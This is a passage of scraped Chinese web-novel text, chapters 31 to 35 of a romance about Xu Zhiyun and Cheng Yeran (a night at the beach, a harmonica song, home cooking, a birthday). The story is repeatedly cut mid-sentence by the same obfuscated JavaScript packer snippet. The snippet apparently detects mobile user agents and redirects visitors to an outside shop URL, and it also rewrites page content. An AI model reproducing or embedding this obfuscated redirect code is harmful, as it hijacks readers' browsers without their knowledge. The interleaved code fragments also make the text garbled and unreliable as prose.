d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115611|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪,小桑忽然说:“你真温柔。要我讲这些话,我就会觉得……特别尴尬。但你不一样。” 许知蕴不太好意思地朝她笑笑。 一片沉默,只有玻璃杯与木桌碰撞的声音,还有冰块在杯壁中相撞的脆响。 在喝完一口酒后,许知蕴忽然问她:“到了美国之后,你要干什么?” 小桑歪了歪头:“还没想好。” “你不是要花钱给自己的学历镀金嘛。”许知蕴笑道,“学点商学课程怎么样?或者是一些其他的你喜欢的专业。” 小桑也笑道:“我还是先把英语学好吧!我的英语真的是一团糟。” 她们还想说几句,但许知蕴的手机响了。 是程烨然的电话。她接起来,程烨然说他到了,问她在哪。 许知蕴将杯中的酒一饮而尽,说自己在旁边一家清吧,马上就出来。 她挂断电话,小桑在那边好奇地看着她。 “你的男朋友吗?”她问道。 许知蕴点点头。 小桑的语气里隐藏着自己都没发觉的羡慕:“你们感情真好。” 她又说:“可惜今晚没时间啦,不然还想和你再说说话。既然这样,那……拜拜?” 许知蕴也笑着说:“再见。” 她没有说“拜拜”,而是说的“再见”。就像她们日后肯定会再次遇到一样。 小桑就这样端着酒杯,看着许知蕴的身影渐渐远去。她打开手机,发现梁丰自始至终都没给她发过一条消息。她嗤笑了一声,但还要在键盘上敲打出那些甜言蜜语。那些无论是说的人还是听的人都不甚相信的甜言蜜语。 * 一坐进程烨然的车,许知蕴就感觉自己的脑袋有些晕乎乎的。先前的红酒、啤酒和刚刚的那杯自由古巴混合在一起,让她有些头重脚轻。她感觉自己的眼前一下子清晰一下子模糊,近在眼前的东西一瞬间又远在天边。 程烨然给她系上安全带,闻到她身上淡淡的酒气,无奈道:“小许同志,你这是喝了多少啊?” 许知蕴说:“没多少,一点点而已。” 说完,她还用手指比了个一点点的手势。程烨然的手伸过去,帮她稳稳地扣上安全带的扣子。许知蕴看见程烨然在灯光下的侧脸,忽然伸出手去,捧了捧他的脸颊。 “我可以亲你吗?”她没头没脑地问。 程烨然一愣,笑了。 他没说可以不可以,只是低下头来,轻轻地吻在她的额头,紧接着,这个吻从额头流连到眼角,最后柔柔地落在她的唇上。许知蕴将手放在他的后脑勺上,将他带得离她更近。尽管场景似乎不太对,但她在现实中完成了梦里的那个吻。程烨然温柔地轻咬着她的唇瓣,过了一会才放开。许知蕴只觉得自己醉得更厉害了。她迎上去,但程烨然眨着眼睛,带着笑意地拒绝了。 “先回家。”他说。 可许知蕴的脑袋已经不受自己控制了。她只觉得自己浑身都泡在温泉里,暖洋洋的很舒适。她的心里闪过无数思绪,今晚的,先前的……构成一个色彩绮丽而奇异的梦境。她分不清梦境和现实,只是觉得自己必须要抒发点什么。 “不回家。”她自觉自己的神志十分清醒,“我们去海边吧!” 32. 第三十二章 跟喝醉的人讲道理是讲不通的。 程烨然问:“你确定我们要现在去海边?” 许知蕴瘫在副驾驶上。 “确定。”她的声音懒洋洋的,还带了点哑。程烨然无奈地笑笑,把她扶好,顺便整理了一下她的衬衫衣领。 “那我们就准备出发了。” 程烨然没有问许知蕴第二遍,也没有表现出对于“大晚上去海边”这件事情的质疑。他只是打一把方向盘,调转车头,点开导航,然后从主路驶入辅路。不像是突如其来,而是自然得像一场早已计划好的旅程。 导航里的女声在播报:“准备出发,全程29公里,大约需要35分钟……” 许知蕴伸手,点开车载音乐,选了一首抒情摇滚。做完这一切,她侧过头去,望向车窗外。漆黑的夜空,下边是无数排闪耀的霓虹灯。他们的车在江边的道上,又看见了成片的游人,都举着手机,灯光一簇一簇地从眼前飞掠过去,像一群羽毛光洁的白鸽。 这是程烨然第二次大晚上开车去到海岸。 第一次是在德国。他刚到不久,第一次经历德国的冬天。从秋天开始的阴郁蔓延到了冬日,就算是圣诞节的热闹气氛,也无法冲散天空中灰色的云翳。 晒不到太阳,整个人都无精打采。壁炉的火光似乎是唯一暖洋洋的事物,在宿舍里窝着看书,望向窗外。确实很温馨,但天空仍然是铁灰色。 他的室友终于受不了了。他们找了几个人,轮流开一辆越野,轰隆轰隆到了不来梅的港口。车上带了啤酒,下车就直奔烤肉店。 吃饱喝足后,掐着时间,跑到沙滩上去看日出。冬天很冷,程烨然裹着风衣围巾,鼻子冻得通红,但当看见金红色的太阳和朝霞时,他忽然就忘记了冷。 阴雨绵绵所带来的潮气好像散去了,他只记得这是他到德国以来看到的最漂亮的朝阳。 年轻人总是疯狂的。 他和许知蕴伴随着车里的抒情摇滚,一路开到了海边的停车场。夏天的夜晚,沙滩上亮起了灯,依旧有人嬉戏。他找了个停车场,然后拉住许知蕴即将要开车门的手,给她递上一件外套。 “总得先把外套穿上吧。”他说,“晚上海边冷。” 许知蕴没有立马接过,而是抬眼问他:“你呢?你的外套呢?” 程烨然指了指后座上的黑色棒球服:“在这呢。我不怕冷,你赶紧穿上。” 许知蕴应了一声,穿上外套。他们下了车,也不知道去哪,只是在边上慢悠悠地走。冷风一吹,许知蕴晕乎乎的脑袋顿时清醒了三分。但酒精的余威仍在。沙子细软,闪着银白的寒光,程烨然走在她旁边,注意她的脚步,以防这个半醉不醉的人“扑通”一下摔倒。 幸运的是,许知蕴没有摔倒。他们找到一个僻静的长椅,旁边是嬉戏的游人,对面是黑蓝色的海。他们在长椅上坐了下来。 许知蕴把头靠在他肩膀上。 “你知道我今天碰见了谁吗?” “不知道。你遇见谁了?” 许知蕴缓慢地说:“梁丰……和他的女朋友!” 她在程烨然的肩膀上找了个更舒服的姿势,问他:“你觉得,一个人和不爱的人结婚,这算不算傻事呢?” “这要看这个人想要什么。”程烨然说,“如果想要的不是爱情,那这样也没什么。” 许知蕴又问:“你会和一个不爱的人结婚,缔造一个协议婚姻吗?” 程烨然沉默了几秒,忽然捧过她的脸。 “我不会。”他淡淡地笑了,可神色很认真,“如果没有遇到,我宁愿孤独终老。” 许知蕴看见他的眼睛里映出一个自己。一个脸色透着红润,眼睛里泛着细碎的光的自己。 她也笑了,故意说:“这是真心话?” 海浪的声音传来。程烨然伸手去刮刮她的鼻梁。“——这当然是真心话。” 许知蕴抓住他的手指,漫无目的地把玩着。“你说,一个人能又得到金钱来满足欲望,又得到爱情吗?” “可以。”程烨然说,“但那样的人毕竟是少数。要得到什么东西,就必然会失去什么。” “那你说……”许知蕴的语气停顿了一下,“一个懂得很多道理,常常尝试说服自己的人,能真正地过好自己的人生吗?” 程烨然没有立刻回答。他倚在长椅上,轻轻地摩挲着许知蕴的头发。他叹了口气,这声叹气是轻柔的。 “很多人即使懂得很多,或许也不太能安排好自己的生活。”他说,“比如你,比如我。但我们要抱着希望,不是吗?抱着这样的希望,生活总会好过起来的。我们希望想要的东西都能得到,但却发现自己其实什么也得不到。但在生命的末尾,或许就会一下子发现,曾经费尽心思想要的东西,其实已经在不知不觉中得到了。特别是——” 他遥遥地看向海面上不知名的某一点。 “特别是在我们现在所处的,这样一个环境里。” 许知蕴安静地听着,没说什么别的话。他们就这样看着海面潮起潮落,那呼啦呼啦的声音,能把一切烦扰都盖过去。 很久以后,她说:“谢谢你安慰我。” 程烨然笑了笑:“我其实也是在安慰我自己罢了。” 许知蕴的思绪逐渐聚拢。她感觉自己没那么醉醺醺了,但还是将脑袋搁在程烨然的颈窝。她不想动。 但她忽然想起了一件事情。 “程烨然。”她问,“我印象中……你会吹口琴,是吧?” “嗯。” 他侧过头来,“你想听吗?” 许知蕴眯了眯眼睛:“想听呀。现在想听。” 她原本只是开个玩笑。 但程烨然却说:“你等等,我前些天去参加聚会,好像把口琴忘在车里了。” 那是严宇之的聚会。 前几天他参加严宇之他们在小别墅的聚会。他们随便演奏了几首,开始聊各自的感情生活。程烨然很自然地提到自己已经有了女朋友。周围人发出一圈善意的起哄。 严宇之说:“那个姑娘一定很好。” 程烨然笑着说,是啊,这是我的幸运。 他起身,许知蕴也跟着他起身。他们来到停车场,程烨然凭着记忆,在驾驶座的储物盒里找到了一个木质的盒子。口琴就静静地躺在里边,枕着宝蓝色的绒布。回到长椅上,他问许知蕴,想听什么呢,许知蕴思索了一下,说,什么都行,我不挑。 程烨然静静地坐在那里,说,那我只好随便吹一首了。 他将口琴横在嘴边,轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129434|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地吹起了第一个音符。是陈奕迅的《岁月如歌》。 …… 爱上你,看见你。 如何不懂谦卑。 去讲心中理想,不会俗气。 犹如看得见晨曦, 才能欢天喜地。 …… 他唱歌的时候,是一句话要跑两三个调的。但吹口琴的时候,他却奇异地一个调也没跑。 许知蕴听着口琴的声音,只觉得要和海浪的声音融为一体。一曲吹完,他又吹了一首不知名的小调。 小调带着东欧风味,像是冷杉上永远不会融化的雪。许知蕴侧着脸看向他,她的目光与他的撞在一起,许知蕴忍不住笑了笑,程烨然似乎也想笑,但他现在在吹口琴呢——于是那听起来有些阴郁的小调就转变了起来,一步一步欢快地向上跃去。 最后一个音符结束的时候,风也呜呜地吹起来了。 他放下唇边的口琴,许知蕴却在他落手之际,大胆地凑过去,在他的唇角偷偷亲了一下。 “真好听。”她说,“比其他人演奏得更好听。我说真的。” 他失笑道:“谢谢小许同志夸奖了。为了这样的殊荣,我以后也得勤加练习才是。” 他们从长椅上站起身来,在沙滩上走了一会。借着灯光,许知蕴偷偷去踩程烨然的影子。程烨然由着她踩,冷不丁也踩踩她的。他们就这样一路无话,却欢快地绕着海边走了一圈,最后兜兜转转,顺着人潮走回到停车场。 许知蕴的酒已经差不多醒了,只是现在有点困。她坐上副驾驶,当即打了个哈欠。 “困了?”程烨然轻声说,“困了就睡会吧。很快就到家了。” 许知蕴说:“不困,精神着呢。” 她一路强撑着睁开眼皮,看着窗外光怪陆离的夜色,但最终还是睡过去了。 在这段短短的旅程里她做了一个梦,梦见多年以后,小桑站在她面前,微笑着对她说,许小姐,我同梁丰离婚了。许知蕴问她,你过得好吗?小桑遥遥地说,很好,你放心吧。只是我现在不在美国了,我到香港去……我迟早要住上跑马地的房子。 梦里的她多么有野心啊。许知蕴终于能够放下心来。 …… 地下车库的灯晃眼。许知蕴伸了个懒腰,终于睁开眼睛。入眼就是程烨然凑得极近的脸。 “醒了?”他俯身过去,给她把安全带解开,“再不醒我就要抱你上去了。” 许知蕴立马配合地装睡:“那我还是睡着好了,一点路也不用走。” 程烨然却貌似真的要把她从副驾驶上抱起来。 许知蕴连忙弹起来:“嘿,开玩笑的……我可要自己走!” 程烨然看着她,忽然舒展了眉眼,颇为放肆地笑起来。许知蕴作势要去揪他的脸颊,最后当然是揪成了,还颇为坏心眼地捏了两下。 他们乘电梯上楼去。电梯里很安静,只有他们两个人。等数字跳到八楼时,许知蕴忽然问他:“你说,梦究竟是不是相反的?” 这可叫人怎么回答呢? 他们走出电梯门。程烨然轻轻牵着她的手。过了一阵,他才说:“其实梦相反与否,并不要紧。” “毕竟——谁说相反的就一定是坏的,不相反的,就一定是好的呢?” 33. 第三十三章 尽管只是喝了一点酒,但第二天醒来还是昏昏沉沉的。 许知蕴没有在规定的生物钟内醒来,而是又一觉直直睡到早上九点半。 她翻了个身,伸手搭在旁边的枕头上。枕头早就没有余温了,也不知道程烨然什么时候起的床。许知蕴打了个哈欠,踩着拖鞋吧嗒吧嗒出门,刚把房门打开一条缝,就闻见厨房里飘来的诱人香气。 她挪到厨房,看见程烨然正系着那条小黄鸭围裙,正往灶台上的砂锅放切好的配菜。听到她的脚步声,他回过头来。 “早上好。” 程烨然笑着,很快地凑到她身边去,在额头上落下一个早安吻。然后又极快地回到灶台前,拿着长柄勺慢悠悠地在砂锅里搅拌。 “……早上好呀。” 由于刚起床,许知蕴的声音有些含糊,“这是什么粥,这么香?” “虾仁蔬菜粥。”程烨然说,“快去洗漱,马上就好了。” 许知蕴喜欢吃虾仁。她赶忙去卫生间洗漱,过了一会儿,她听到咕嘟咕嘟,是粥滚了的声音。程烨然端着砂锅走出来,稳当当地放在桌上。扑面而来的鲜香令人食指大动。 他们各舀了一碗粥,小口小口地吃着。程烨然问许知蕴的头还晕不晕,许知蕴说,当然不晕了,我的酒量还是可以的。 程烨然极轻极轻地笑起来。 “我看你昨晚上是醉得挺厉害的嘛。” 许知蕴其实也不懂自己为什么发出“去海边”的倡议,然而事情结结实实发生了。 “谢谢你。”她低声说,“我还以为你会把我的话当成醉鬼的话。” 一般喝醉的人的话,是不会被人当真的。 程烨然说:“你这程度,不叫醉鬼,只能算是喝得半醉的人。” 他给许知蕴讲曾经一路冲动,和几个朋友交替开车到不来梅的事情。他们在海滩上是喝了酒的,因此返程时,不得不丢下那辆吉普,而是坐火车回去,等下一个周末来临,再去把它给开回来。 “现在想想,够疯狂的,对吧?”他说,“一个晚上都没有合眼,然而就是精神得很。现在想要来一场这样的旅程,恐怕也没办法了。因此……” 他话锋一转,温和道:“是我谢谢你才是。” 许知蕴的脸红了。她想说什么,但觉得自己好像什么成型的句子也说不出来,只好低着头一口一口地吃着粥。程烨然给她舀粥时,几乎把所有的虾仁都给了她。晶亮的虾仁爽滑弹牙,配上蔬菜和咸淡适中的粥底,一切都刚刚好。她猛吃了几口,程烨然不得不提醒她:“慢点吃,小心烫。” 许知蕴说:“因为很好吃啊。” 说完,她意识到,这段对话在这个饭厅里似乎发生过很多次。程烨然一愣,笑了。笑着笑着,他忽然逗趣般问许知蕴一个问题:“小许同志,杂志里的那些小纸条……去哪了呢?” 许知蕴一愣。 她犹豫了几秒,决定将它变为一个世界未解之谜。“我也不知道呀。”她耸了耸肩,假装无辜道,“或许它们变成蝴蝶从窗外飞走了?” 其实是她都把它们据为己有了。那些简笔画实在太可爱,关键是——一看就知道,程烨然画的小人就是许知蕴自己。早在发现那些纸条的当天晚上,她就把小纸条们都拿出来,夹进自己的笔记本里。 程烨然就在对面,撑着下巴看她。许知蕴努力摆出一副“与我无关”的神情,实则心底还是有一丝紧张。 程烨然忽然“扑哧”一声笑出声来。 “或许吧。”他似笑非笑地说,“也许它们真的变成蝴蝶飞走了。” * 程烨然原本能按时到点下班的生活忽然变得忙碌了起来。 下班后回到家,也还是继续在书房里工作。许知蕴问他,公司里的事情这么多吗?程烨然摇摇头。 “以前的导师找到我了。”他给许知蕴看自己手机上的通话和聊天记录,“说是有几个小项目,让我远程完成。” 许知蕴问:“完成这些项目,你会得到相应的酬金吗?” “这个嘛……”程烨然思索了一下,“一般会有,但都比较少。” 程烨然既然这么忙,许知蕴便自告奋勇来做晚饭。她虽然没有过高的厨艺天赋,也缺乏些捣鼓东西的耐心,但她平日里还是很喜欢下厨了。刷了几个做饭小视频,许知蕴就开始在厨房里忙碌起来。都是些快手家常菜,许知蕴做起来并不费什么时间。 菠萝排骨、土豆火腿、醋溜土豆丝……都是些难度不高的菜。程烨然吃每一道菜都会夸她,许知蕴听了夸奖,反而不好意思起来。 她很严肃地对程烨然说:“你得指出我可以改进的地方,这样下次我会做得更好。” 程烨然闻言,睁着一双可以说是无辜的眼睛回答她:“可是我觉得已经很好吃了啊。我想不出别的更好的味道了。” 许知蕴败下阵来。 不过,她也有翻车的时候。 那次,她做的是糖醋里脊。做到一半,她忽然灵机一动,想着如果往里边放点蜂蜜会怎么样呢?于是在橱柜里找来蜂蜜,舀了好几勺下去。可惜做饭时最忌讳灵机一动,等糖醋里脊出锅时,她一尝,发现不仅没有蜂蜜的香味,还多了一层淡淡的,但就是无法忽视的苦味。 她很忐忑地把菜端上桌,但没想到程烨然尝菜时,连眉头都没皱一下,像往常一样,照常说:“很不错啊。” 许知蕴问:“可是……你不觉得有点苦味吗?” 程烨然笑了笑,放下筷子去捏她的脸颊,“或许是有一点吧,但它的甜味已经远远盖过它的苦味了。” 最后,那盘糖醋里脊还是被吃完了。 …… 在不忙的周末,他们会去看电影。许知蕴精挑细选了一部亲情片,却没想到他们几乎能够包场。看完电影出来的时候,她沮丧地说:“难怪人少呢,原来一点都不好看。” 程烨然揉揉她的头。一转眼,许知蕴就把这事抛到脑后去了。他们去吃饭,然后走在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137473|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江边看星星。地方是一样的,但是心境却不同了。 周围红男绿女,热闹非凡,都是一副潮人打扮。他们两个穿着闲适,慢慢在河堤旁走着。许知蕴说,看,今晚上月亮很淡,星星却多了。程烨然也抬起头,看着星子一闪一闪。这些星星仿佛要流到江水里。 今天虽然是周末,但好像并没有烟花秀可看。他们没有盼到烟花秀,但还是很开心。许知蕴在街边的旧物店里淘到一个拍立得,品牌是富士。她很高兴地与店主成交,然后拉着程烨然到栏杆边上,随机找了个路人,说:“麻烦您帮我们拍下照吧!” 路人当然是答应。按下快门,“咔嚓”一声,照片就拍好了。程烨然上去道谢,许知蕴则专心致志地等待相纸显影。也就两三分钟的事,照片上她倚着栏杆,他的手揽住她的腰,一齐朝镜头前微笑着。 许知蕴很喜欢这张照片。某种意义上,这是他们的第一张双人合照。 她对程烨然说:“这照片归我了,怎么样?你已经有一张了。” 她指的是那张和俊俊的三人合照。她早在程烨然书房里就发现了,这张拍立得被一个桌面名片夹给夹着,端端正正地放在前面,坐着工作,一抬头就能看到。 程烨然失笑道:“好好好。” 许知蕴将照片小心地收进钱包里。散完步,他们开车回家。许知蕴特意把那首《岁月如歌》放出来。不远处的高架桥上,亮着一排又一排的红色的车灯。本城的高架经常堵车,尤其是在早上和夜晚。 说起俊俊,她都差点忙忘了。先前俊俊要准备期末考试,因此也很少来家里做客。现在,到了暑假,他几乎隔三差五都要拜托他叔叔,带他来和许知蕴打牌。许知蕴问他,期末考得怎么样?俊俊说,你怎么跟那些大人一样,都问这些问题……虽然我考得很好就是了。 然后俊俊开始老老实实地给她报自己的成绩,顺带还说,在美术补习班里,他是得到老师夸奖最多的那一个。 许知蕴给他发牌:“因为我们是大人了呀。和你们这些小朋友的生活,没什么交集。难道我要跟你聊工作?你太小了,还不懂。因此只好跟你聊成绩咯。” 俊俊撇嘴:“我以后会长大的。” 他们三个人打起牌来,俊俊依旧是输多赢少。打完牌,他们会一起吃饭,然后俊俊坐叔叔的车回去。有时候程烨然懒得接送他,就打电话叫家里的司机。 俊俊就这样断断续续地来玩了一个多月,由于开学,然后就不来了。许知蕴有一天起床,感觉天气格外潮湿,怎么拧也拧不干。 她走出卧室,看见客厅的落地窗外,那株盛开的广玉兰已经谢了。这么粗壮的枝干和厚重的叶子里,无声无息盛开的白色玉兰也无声无息地凋零了。天空很阴,外面正下着细细密密的小雨。 这样的阴雨很是烦人,天空是铁的颜色,像有擦不干净的水雾,让她总觉得日与夜的边界模糊了起来。 她这才恍然发觉,时间过得实在太快……现在已是九月中旬了。 34. 第三十四章 一忙起来,日子就没有尽头。 程烨然忙,许知蕴也忙。她现在已经没空做饭了。附近有个四星级酒店,他们就经常点那个酒店的外卖。外卖送来,总会带两块小蛋糕。他们一边吃饭,一边看电视。这个时候是最放松最自由的时刻之一。 许知蕴坐在电脑前打字,翻翻她的词典,力度大得快要把词典翻烂了。正焦头烂额着,忽然接到一个电话,是说她的快递到了,麻烦下来取。 许知蕴还纳闷呢,是谁给她寄快递?结果下楼一看,寄件人就在城里,地址她再熟悉不过——就是许父许母住的宅子! 她把快递拿回家,打开一看,是三只不同颜色的手提包。过了一会许母的电话就打过来了:“小蕴!快递签收了吧?” 许知蕴说:“签收了,你们怎么想起给我买包?还买了三个颜色?” 许母在那边说:“不知道你喜欢哪个颜色啊,这个款式的三种颜色都买了。其他的你要是不喜欢,退了也成。” 许知蕴连忙道:“都喜欢都喜欢。以后我把这三只包换着背。一天背一个。” 她的确很喜欢。不管这手提包材质是什么,价值几何。父母送的东西,她总是很开心的。 “那就好。”许母说,“你爸过几天再往你账户上打点钱。过生日嘛,想怎么过怎么过,不要操心钱,爸爸妈妈都给你报销。” 许知蕴一听,怔住了。 她打开日历,翻来一看,这才发现三天之后的周五,是她的生日。 忙来忙去,倒把这个给忙忘了。 她笑了笑:“知道了……说实话,我都差点忘记生日这回事了。” 许母假装埋怨道:“还有把这事忘的?那你现在想起来也不迟。打算怎么过呢?” 许知蕴将三只包收进衣柜里,懒洋洋道:“不知道呀……随便过过得了。” 工作以来,她很少过生日了。基本上都是给自己买一个蛋糕,许个愿,然后切开吃掉。其实许愿的步骤不算重要,对许知蕴而言,最重要的部分是和家人一起度过,然后快快乐乐地分蛋糕。 和许母聊了几句,挂完电话后,许知蕴又继续忙自己的事情。这一个章节还没翻完呢,如果顺利的话,她乐观地想,或许到十一月份左右就能全部搞定。麻烦的校对和改稿之后,那就全是出版社的事情了。 晚上下了不小的一场雨。自从进入九月以来,就一直是这个样子。去年的九月好像还是热得冒汗的,不知道今年的为什么这么阴郁。或许今年的冬天会变得更长也说不定。 她开始担心起程烨然来。她知道,程烨然开着车,而且早就是个成年人,按道理不用她操心。但她还是很担心。现在估计正是他下班的时候,发消息不合适,打电话也不合适。许知蕴正想着,程烨然的电话却先她一步打来了。 …… “喂?”她习惯性回了一声。 电话那头的雨声哗啦哗啦的,程烨然的声音合着雨声,从电话的另一端流过来:“知蕴,晚饭你是点好了吗?” 许知蕴说:“没有,我还在看呢。” 程烨然笑了笑:“那不用看了,我从外边带晚饭回来。” 他那边似乎传来脚步声,然后是关上车门的声音。许知蕴猜测他应该是刚坐进车内。她连忙说:“饭什么的我不管了,你开车小心点。” 程烨然应了一声。但从这应声中,她觉得程烨然似乎在笑。 “我不打扰你了。”她说,“你专心开车吧,我挂电话了。” “哎!”程烨然似乎又是很开心地应了一声。 …… 许知蕴跑回书房里继续她的工作,时不时抬头看一下天气。雨变小了,她的内心也跟着轻快起来。豆豆眼小恐龙排排坐在她面前,一副呆萌无辜相。许知蕴写累了,就伸出手来捏捏它们。 过了半小时,门锁的“咔哒”声响起。程烨然身上披了件卡其色薄风衣,带着一身潮湿的水汽走进来。他左手拎着个双层饭盒,外边套了厚厚一层保温袋。许知蕴连忙接过来,感受到沉甸甸的分量,不由得小声惊叹了一声。程烨然将风衣脱下,挂在衣帽架上。风衣沾了潮气,摸起来半干不湿的。 许知蕴将包装袋拆开,打开饭盒,看见里面是一碟鲜嫩红亮的脆皮乳鸽。第二层是当季时蔬,即使放在饭盒里,摆盘也相当漂亮。旁边是一盒饭,外附赠两块提拉米苏。许知蕴问他:“这是哪里买来的呀?” 程烨然从厨房里洗了手,拿了碗筷出来:“这是花莲山庄孙大厨的手艺,我听闻他要回归烹饪界,早早预订了。可惜山庄老板不提供配送服务,我同他说几遍也没用。总归还是得我自己去拿。” 许知蕴不知道孙大厨,但她知道花莲山庄。抛开吃一顿饭上万的菜单不说,花莲山庄离这里并不算近。开车需要不少时间,更别提下雨了。她看着这只乳鸽,心里有些五味杂陈。直到程烨然碰碰她,她这才回过神来。 “小许同志,吃饭了。” “……哎。”她愣了愣,随即笑着应声道。 乳鸽香气扑鼻,外皮酥脆,内里鲜嫩多汁,将脆与嫩的两种感受很好地交融在一起。咬一口,简直鲜得眉毛和骨头一起酥掉了。 尽管乳鸽很好吃,但程烨然仍然还是有些许遗憾:“他们的鸽子汤更是一绝,可惜我没订上。” “没关系。”许知蕴正拿着手套吃鸽子腿,“这个乳鸽已经够好吃了。” 说完,她又问:“这个孙大厨是什么来头?” 程烨然给她讲自己所知道的孙大厨的掌故来。孙大厨名头响当当的原因,除开他自己实力过硬之外,更重要的是他的师傅。据说师傅姓陈,是广东人,到香港去拜师学艺,在饭店里摸爬滚打成了大师傅,后来到了美国去,又回来,不呆在香港了,而是北上到了本城。他最得意的关门大弟子就是孙大厨。 许知蕴感叹道:“上世纪人真是传奇。他们随便的一生就够精彩,够无法复刻的了。” 他们又胡乱扯了几句,晚饭就这样吃完了。拿着碗筷去厨房洗的时候,窗外忽然打了阵惊雷,闪电紧随而来,晃花了人的眼睛,随后猛然落下一阵瓢泼大雨。他们又赶紧去把窗户关好,不让雨飘进来。索性雨势一会儿就减小了,转为缠绵的细雨。 许知蕴吃饱了,不大想继续工作。她坐到沙发上,挑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151551|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部电视剧来看。程烨然就坐在她旁边,陪她看电视。似乎许知蕴看什么,他都爱看——许知蕴从没见他主动换台过。 看着看着,程烨然忽然问她:“这周五有什么安排吗?” 他声音含着笑意,压得很轻。许知蕴之前非常喜欢他说某些话时的腔调,勾得人的心像被眼睫毛划过一般。许知蕴刚想回答“没有”,忽然发觉,周五其实是个特殊的日期。 她停顿了几秒,故意问:“周五怎么了?一个很平常的日子而已呀。” “是吗?”程烨然没上她的当,慢条斯理道,“我却觉得这周五是一个特别特别好的日子。” 许知蕴笑了出来。她问:“你是从哪知道我的生日的?看我身份证?” 许知蕴其实偷偷看过程烨然的身份证。她不是故意去翻来看,只是在书桌上,看见他的身份证大咧咧摆在那里。她凑过去看,一眼就记住了。 程烨然举起双手:“这可没有。” 他微微笑了笑:“总之,小许同志周五有其他的安排吗?” 许知蕴不跟他绕弯子了。她摇摇头:“没有。” “那我有没有荣幸在周五请许小姐共进晚餐呢?” 她和程烨然不知道为什么,有时候都爱玩这套。你喊程先生,我喊许小姐,好像两个人才刚刚见面,一点也不相熟一样。但就是乐此不疲,好像其中有某种隐秘的快乐。 那许知蕴要怎么回复呢? “好啊。” 她自然是答应了,然后将头搁在程烨然的肩膀上。程烨然的手指在她发间,一点一点地抚摸着她的头发。电视里在播放什么,已经没有太大的必要了。外边的雨淅淅沥沥,像奏响一首温柔的交响乐。 …… 许知蕴由衷希望天气能好起来。 她看天气预报,简直要心惊胆战——未来一周都有雨,而且不是瓢泼大雨,而是最烦人的小雨。许知蕴觉得这雨就跟补水喷雾一样,撑着伞,好像感受不到,但一旦放下伞,衣服和头发就会在不知不觉间湿透。 周三,下雨。 地板很滑,许知蕴回家的时候差点被一个奔跑的小孩撞到,她不仅躲开了,还眼疾手快地捞了那小孩一把。不然就要和地面来个亲密接触了。 周四,下雨。 这天程烨然回得格外晚,专门给她打电话来,说晚饭让她先吃,别等他了。许知蕴也不饿,从冰箱里拿了个虎皮卷,一边吃一边写翻译稿,甚至程烨然回来了,她还在斗志昂扬地写。还跟编辑聊了会天,两人一致认为出版行业在走下坡路——毕竟译者拿到的千字价格真是越来越少了。 她看了眼天气预报:据说明天还是下雨。 许知蕴叹了口气。 明明之前就没想过要很隆重地过这个生日,但等到或许真的没办法过生日的结果,她又有些沮丧和不甘心。 这种情绪持续到第二天中午。 天气预报有时候是不可相信的。有时它预报有太阳,但其实一整天都是阴云。有时它预报会下雨,第二天却会是一整天的大晴天。 许知蕴很开心,因为周五当天,是一个再好不过的天气。 35. 第三十五章 床头摆着的礼物是黑色丝绒盒子里装着的手镯和项链。上边镶着泪滴型的钻石,晶莹剔透,日光下闪着别样的光芒,像是清晨荷叶上的露水。 许知蕴其实不知道,这不是买的现货,而是专门定做的。 他们在海滩上消磨了一下午。太阳很好,这时候不少人都出来晒晒太阳,玩玩沙子。他们躺在沙滩椅上,戴着墨镜,看着远处湛蓝的海,小声地说悄悄话。或者什么话也不说,只是肩并肩躺在椅子上,就觉得很快乐。 很多慕名而来的游客都会去江岸,看这条承载了不少故事的江河,看两岸的高楼大厦与建筑群,但却很少有人来看这里的海。 许知蕴却觉得他们也应该来看看海——谁能说这里的海的故事不多呢?古往今来,那么多人从这里的港口出发,有的回来了,有的却没有回来。 许知蕴玩够了,眼看着黄昏降临,整片海都被染上了暮色。 她转头问程烨然:“我饿了,我们去哪里吃饭?” 程烨然将手边的衣服给她披上,说:“等到了你就知道了。” 他朝她眨眨眼:“菜品你不会失望的——我保证。” 他们上了车,来到一家装修得颇为低调的饭店。在这条街上,它算是低调了,然而停车位依然是一位难求。程烨然显然是常客,门房一见他,就殷勤地叫“程先生好”,然后叫另一个来泊车。 